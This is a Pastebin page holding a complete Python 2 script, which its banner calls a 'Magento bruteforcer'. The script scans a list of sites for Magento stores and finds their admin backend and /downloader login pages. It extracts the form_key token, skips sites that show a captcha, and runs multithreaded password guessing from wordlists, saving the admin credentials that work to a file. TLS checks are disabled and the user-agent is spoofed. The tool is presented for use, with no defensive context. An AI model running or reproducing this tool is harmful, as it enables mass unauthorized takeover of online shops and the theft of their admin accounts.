Advertisement
greyx

Magento smart Bruteforce

Apr 20th, 2018
360
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 16.07 KB | None | 0 0
  1. import time
  2. import sys
  3. import os
  4. import ssl
  5. import urlparse
  6. import argparse
  7. from socket import timeout as socket_timeout
  8. from socket import error as socket_error
  9.  
  10. # Import requests, to handle the get and post requests
  11. try:
  12.  
  13.     import requests
  14.  
  15. except ImportError:
  16.     print('[!]Could not import requests module.')
  17.     sys.exit()
  18.  
  19. try:
  20.     from bs4 import BeautifulSoup
  21.     from bs4 import SoupStrainer
  22.  
  23. except ImportError:
  24.     print '[!]Could not import BeautifulSoup module.'
  25.     sys.exit()
  26.  
  27. import Queue
  28. import threading
  29.  
  30. requests.packages.urllib3.disable_warnings()
  31.  
  32.  
  33. def login_generator(domain):
  34.     for username in usernames:
  35.  
  36.         if '%site%' in username:
  37.             username = username.replace('%site%', domain)
  38.  
  39.         for password in passwords:
  40.  
  41.             if '%user%' in password:
  42.                 password = password.replace('%user%', username)
  43.  
  44.             if '%site%' in password:
  45.                 password = password.replace('%site%', domain)
  46.  
  47.             for char in (password[0].lower(),
  48.                          password[0].upper()):
  49.  
  50.                 yield (username, char + password[1:])
  51.  
  52.  
  53. def read_file(filename_to_read):
  54.     """Read each line of a file into a set."""
  55.  
  56.     lines = set()
  57.     with open(filename_to_read, 'r') as hFile:
  58.  
  59.         for file_line in hFile:
  60.  
  61.             file_line = file_line.strip()
  62.             if file_line and not file_line.startswith('#'):
  63.                 lines.add(file_line)
  64.  
  65.     return list(lines)
  66.  
  67.  
  68. def clean_url(url):
  69.     """Clean a url, give it a scheme and remove all unnecessary data."""
  70.     if url.endswith('/'):
  71.         url = url[:-1]
  72.  
  73.     o = urlparse.urlsplit(url)
  74.  
  75.     if o.scheme == '':
  76.         new_scheme = 'http'
  77.         url = 'http://' + url
  78.         o = urlparse.urlsplit(url)
  79.  
  80.     else:
  81.         new_scheme = o.scheme
  82.  
  83.     if '.' in o.path:
  84.         new_path = '/'.join(o.path.split('/')[: -1])
  85.  
  86.     else:
  87.         new_path = o.path
  88.  
  89.     return urlparse.urlunparse((new_scheme, o.netloc, new_path, '', '', '')) + '/'
  90.  
  91.  
  92. def get_domain(url):
  93.     """Return domain without ext from url.
  94.       url = www.google.com returns google.
  95.       The only problem is that url = random.google.com returns random and not google.
  96.       This is quick and dirty hack, but there is not really a better alternative."""
  97.  
  98.     o = urlparse.urlsplit(url)
  99.     netloc_list = o.netloc.split('.')
  100.  
  101.     if netloc_list[0] == 'www':
  102.         return netloc_list[1]
  103.  
  104.     else:
  105.         return netloc_list[0]
  106.  
  107.  
  108. def check_downloader_login(thread_id, session, url, username, password):
  109.     """Try to login to a Magento downloader with username:password"""
  110.  
  111.     if url in downloader_login_found:
  112.         return
  113.  
  114.     output_queue.put(('p', '[*]Thread-{0}:\tTrying downloader login: {1} {2}:{3}'.format(thread_id,
  115.                                                                                          url,
  116.                                                                                          username,
  117.                                                                                          password)))
  118.  
  119.     downloader_url = urlparse.urljoin(url, 'downloader')
  120.  
  121.     try:
  122.         response = session.post(downloader_url,
  123.                                 timeout=2,
  124.                                 data={'username': username,
  125.                                       'password': password
  126.                                       })
  127.  
  128.     except (ssl.SSLError, requests.exceptions.RequestException, socket_error, socket_timeout):
  129.         pass
  130.  
  131.     else:
  132.  
  133.         if response.ok and '/downloader/index.php?A=logout' in response.text:
  134.  
  135.             downloader_login_found.append(url)
  136.  
  137.             output_queue.put(('w', '{0} {1}:{2}'.format(downloader_url,
  138.                                                         username,
  139.                                                         password)))
  140.  
  141.             output_queue.put(('p', '[+]Thread-{0}:\tFound login: {1} {2}:{3}'.format(thread_id,
  142.                                                                                      downloader_url,
  143.                                                                                      username,
  144.                                                                                      password)))
  145.  
  146.  
  147. def check_downloader(thread_id, url):
  148.     """"""
  149.  
  150.     output_queue.put(('p', '[*]Thread-{0}:\tChecking downloader: {1} '.format(thread_id, url)))
  151.  
  152.     downloader_url = urlparse.urljoin(url, 'downloader')
  153.  
  154.     session = requests.session()
  155.     session.headers.update({"User-Agent": "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0"})
  156.     session.verify = False
  157.  
  158.     try:
  159.         response = session.get(downloader_url,
  160.                                timeout=2)
  161.  
  162.     except (ssl.SSLError, requests.exceptions.RequestException, socket_error, socket_timeout):
  163.         pass
  164.  
  165.     else:
  166.         if response.ok and 'username' in response.text and 'password' in response.text:
  167.  
  168.             output_queue.put(('p', '[+]Thread-{0}:\tFound downloader: {1} '.format(thread_id, url)))
  169.  
  170.             for username, password in login_generator(get_domain(url)):
  171.  
  172.                 if url in downloader_login_found:
  173.                     return
  174.  
  175.                 check_downloader_login_queue.put((session, url, username, password))
  176.  
  177.  
  178. def check_login(thread_id, session, url, backend, post_data):
  179.     """"""
  180.  
  181.     if url in backend_login_found:
  182.         return
  183.  
  184.     login_url = urlparse.urljoin(url, backend)
  185.  
  186.     output_queue.put(('p', '[*]Thread-{0}:\tTrying login: {1} {2}:{3}'.format(thread_id,
  187.                                                                               url,
  188.                                                                               post_data['login[username]'],
  189.                                                                               post_data['login[password]'])))
  190.  
  191.     try:
  192.         response = session.post(login_url,
  193.  
  194.                                 # The login has a larger timeout, because login requests take longer.
  195.                                 timeout=5,
  196.                                 data=post_data)
  197.  
  198.     except (ssl.SSLError, requests.exceptions.RequestException, socket_error, socket_timeout):
  199.         pass
  200.  
  201.     else:
  202.         if response.ok and 'dashboard' in response.url and 'logout' in response.text:
  203.  
  204.             backend_login_found.append(url)
  205.  
  206.             output_queue.put(('w', '{0} {1}:{2}'.format(login_url,
  207.                                                         post_data['login[username]'],
  208.                                                         post_data['login[password]'])))
  209.  
  210.             output_queue.put(('p', '[+]Thread-{0}:\tFound login: {1} {2}:{3}'.format(thread_id,
  211.                                                                                      login_url,
  212.                                                                                      post_data['login[username]'],
  213.                                                                                      post_data['login[password]'])))
  214.  
  215.  
  216. def get_form_key(thread_id, url, backend, username, password):
  217.     """"""
  218.  
  219.     if url in backend_login_found:
  220.         return
  221.  
  222.     backend_url = urlparse.urljoin(url, backend)
  223.  
  224.     session = requests.session()
  225.     session.headers.update({"User-Agent": "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0"})
  226.     session.verify = False
  227.  
  228.     try:
  229.         response = session.get(backend_url,
  230.                                timeout=2)
  231.  
  232.     except (ssl.SSLError, requests.exceptions.RequestException, socket_error, socket_timeout):
  233.         pass
  234.  
  235.     else:
  236.         if response.ok:
  237.  
  238.             parser = BeautifulSoup(response.text, 'html.parser', parse_only=SoupStrainer('input'))
  239.  
  240.             form_key_tag = parser.find('input',
  241.                                        {
  242.                                            'name': 'form_key',
  243.                                            'type': 'hidden',
  244.                                            'value': True
  245.                                        })
  246.  
  247.             if form_key_tag:
  248.  
  249.                 post_data = {
  250.                     'form_key': form_key_tag['value'],
  251.                     'login[username]': username,
  252.                     'login[password]': password
  253.                 }
  254.  
  255.                 check_login_queue.put((session, url, backend, post_data))
  256.  
  257.  
  258. def check_backend(thread_id, url, backends_index):
  259.     """"""
  260.  
  261.     backend = backends[backends_index]
  262.  
  263.     backend_url = urlparse.urljoin(url, backend)
  264.     output_queue.put(('p', '[*]Thread-{0}:\tChecking backend: {1}'.format(thread_id, backend_url)))
  265.  
  266.     try:
  267.         response = requests.get(backend_url,
  268.                                 verify=False,
  269.                                 headers={
  270.                                     'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0'},
  271.                                 timeout=2)
  272.  
  273.     except (ssl.SSLError, requests.exceptions.RequestException, socket_error, socket_timeout):
  274.         pass
  275.  
  276.     else:
  277.  
  278.         if response.ok and 'login[username]' in response.text and 'login[password]' in response.text:
  279.  
  280.             if response.text.count('captcha') > 1:
  281.                 output_queue.put(('p', '[-]Thread-{0}:\tFound captcha: {1}'.format(thread_id, backend_url)))
  282.                 return
  283.  
  284.             output_queue.put(('p', '[+]Thread-{0}:\tFound backend: {1}'.format(thread_id, backend_url)))
  285.  
  286.             for username, password in login_generator(get_domain(url)):
  287.  
  288.                 if url in backend_login_found:
  289.                     return
  290.  
  291.                 form_key_queue.put((url, backend, username, password))
  292.  
  293.         else:
  294.             if backends_index < len(backends) - 1:
  295.                 check_backend_queue.put((url, backends_index + 1))
  296.  
  297.             elif backends_index == len(backends) - 1:
  298.                 check_downloader_queue.put((url,))
  299.  
  300.  
  301. def check_magento(thread_id, url):
  302.     """"""
  303.  
  304.     output_queue.put(('p', '[*]Thread-{0}:\tScanning: {1}'.format(thread_id, url)))
  305.  
  306.     try:
  307.         response = requests.get(url,
  308.                                 verify=False,
  309.                                 headers={
  310.                                     'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0'},
  311.                                 timeout=2)
  312.  
  313.     except (ssl.SSLError, requests.exceptions.RequestException, socket_error, socket_timeout):
  314.         return
  315.  
  316.     else:
  317.  
  318.         if response.ok and 'Mage.Cookies' in response.text:
  319.  
  320.             output_queue.put(('p', '[+]Thread-{0}:\tFound Magento site: {1}'.format(thread_id, url)))
  321.  
  322.             check_backend_queue.put((url, 0))
  323.  
  324.  
  325. def run(thread_id):
  326.     """The main code, that each thread runs."""
  327.  
  328.     output_queue.put(('p', '[*]Thread-{0}:\tStarting'.format(thread_id)))
  329.  
  330.     while not main_shutdown_event.is_set():
  331.         # The order of execution
  332.         # Top first (the last step), bottom last(the first step)
  333.         for getQueue, function in (
  334.  
  335.                 (check_downloader_login_queue, check_downloader_login),
  336.                 (check_downloader_queue, check_downloader),
  337.  
  338.                 (check_login_queue, check_login),
  339.                 (form_key_queue, get_form_key),
  340.  
  341.                 (check_backend_queue, check_backend),
  342.                 (check_magento_queue, check_magento),
  343.         ):
  344.  
  345.             try:
  346.  
  347.                 data = getQueue.get(block=False)
  348.  
  349.             except Queue.Empty:
  350.                 pass
  351.  
  352.             else:
  353.  
  354.                 function(thread_id, *data)
  355.  
  356.                 getQueue.task_done()
  357.  
  358.     output_queue.put(('p', '[*]Thread-{0}:\tExiting'.format(thread_id)))
  359.  
  360.  
  361. def output_thread():
  362.     """The thread that does the non thread-safe output."""
  363.  
  364.     sys.stdout.write('[+]Thread-OUT:\tStarting\n')
  365.  
  366.     while not output_shutdown_event.is_set():
  367.         try:
  368.             mode, message = output_queue.get(block=False)
  369.  
  370.         except Queue.Empty:
  371.             pass
  372.  
  373.         else:
  374.  
  375.             message = unicode(message, errors='ignore')
  376.             message += '\n'
  377.  
  378.             if mode == 'p':
  379.                 sys.stdout.write(message)
  380.  
  381.             elif mode == 'w':
  382.                 with open(args.output_file, 'a') as hOut:
  383.                     hOut.write(str(message))
  384.  
  385.             output_queue.task_done()
  386.  
  387.     sys.stdout.write('[*]Thread-OUT:\tExiting\n')
  388.  
  389.  
  390. arg_parser = argparse.ArgumentParser(description='Magento bruteforcer made by g0r and sc485!')
  391. arg_parser.add_argument('-sf', '--site-file',
  392.                         type=str,
  393.                         metavar='sites.txt',
  394.                         help='File containing the input sites.',
  395.                         required=True)
  396.  
  397. arg_parser.add_argument('-of', '--output-file',
  398.                         type=str,
  399.                         metavar='out.txt',
  400.                         help='File the output will be written to.',
  401.                         required=True)
  402.  
  403.  
  404. arg_parser.add_argument('-uf', '--user-file',
  405.                         type=str,
  406.                         metavar='users.txt',
  407.                         help='File containing the usernames.',
  408.                         required=True)
  409.  
  410. arg_parser.add_argument('-pf', '--pass-file',
  411.                         type=str,
  412.                         metavar='passwords.txt',
  413.                         help='File containing the passwords.',
  414.                         required=True)
  415.  
  416. arg_parser.add_argument('-bf', '--backend-file',
  417.                         type=str,
  418.                         metavar='backends.txt',
  419.                         help='File containing the backend urls.',
  420.                         required=True)
  421.  
  422. arg_parser.add_argument('-thr', '--threads',
  423.                         type=int,
  424.                         metavar='n',
  425.                         help='Number of threads.',
  426.                         required=True)
  427.  
  428. args = arg_parser.parse_args()
  429.  
  430.  
  431. # Check if the files exist.
  432. for filename in (args.site_file, args.backend_file, args.user_file, args.pass_file):
  433.     if filename and not os.path.isfile(filename):
  434.         print '[!]File {0} not found!'.format(filename)
  435.         sys.exit()
  436.  
  437. print '[*]Starting Magento bruteforcer!'
  438. print '[*]Made by g0r and sc485'
  439. start_time = time.time()
  440.  
  441. # Create queue objects
  442. check_magento_queue = Queue.Queue()
  443. check_backend_queue = Queue.Queue()
  444.  
  445. form_key_queue = Queue.Queue()
  446. check_login_queue = Queue.Queue()
  447.  
  448. check_downloader_queue = Queue.Queue()
  449. check_downloader_login_queue = Queue.Queue()
  450.  
  451. output_queue = Queue.Queue()
  452.  
  453. # Create events
  454. main_shutdown_event = threading.Event()
  455. output_shutdown_event = threading.Event()
  456.  
  457. downloader_login_found = []
  458. backend_login_found = []
  459.  
  460. print '[*]Reading usernames.'
  461. usernames = read_file(args.user_file)
  462.  
  463. print '[*]Reading passwords.'
  464. passwords = read_file(args.pass_file)
  465.  
  466. print '[*]Reading backends.'
  467. backends = read_file(args.backend_file)
  468.  
  469.  
  470. with open(args.site_file, 'r') as hSites:
  471.     for line in hSites:
  472.  
  473.         line = line.strip()
  474.         if line and not line.startswith('#'):
  475.             site = clean_url(line)
  476.             check_magento_queue.put((site,))
  477.  
  478. nr_of_sites = check_magento_queue.qsize()
  479. if nr_of_sites == 0 or len(usernames) == 0 or len(passwords) == 0 or len(backends) == 0:
  480.     print '[!]No targets found!'
  481.     sys.exit()
  482.  
  483. print '[*]Found {0} targets.'.format(nr_of_sites)
  484.  
  485. if nr_of_sites < args.threads:
  486.     args.threads = nr_of_sites
  487.  
  488. print '[*]Starting {0} scanning threads.'.format(args.threads)
  489.  
  490. for i in range(args.threads):
  491.     t = threading.Thread(target=run,
  492.                          args=(i + 1,))
  493.     t.start()
  494.  
  495. print '[*]Starting output thread.'
  496. t = threading.Thread(target=output_thread)
  497. t.start()
  498.  
  499. # Work down the queues until they are all empty.
  500. check_magento_queue.join()
  501. check_backend_queue.join()
  502.  
  503. form_key_queue.join()
  504. check_login_queue.join()
  505.  
  506. check_downloader_queue.join()
  507. check_downloader_login_queue.join()
  508.  
  509. main_shutdown_event.set()
  510.  
  511. # Write and print the last few messages and then exit
  512. output_queue.join()
  513.  
  514. output_shutdown_event.set()
  515.  
  516. sys.stdout.write('[+]Done! Time: {time:.2f} seconds.\n'.format(time=time.time() - start_time))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement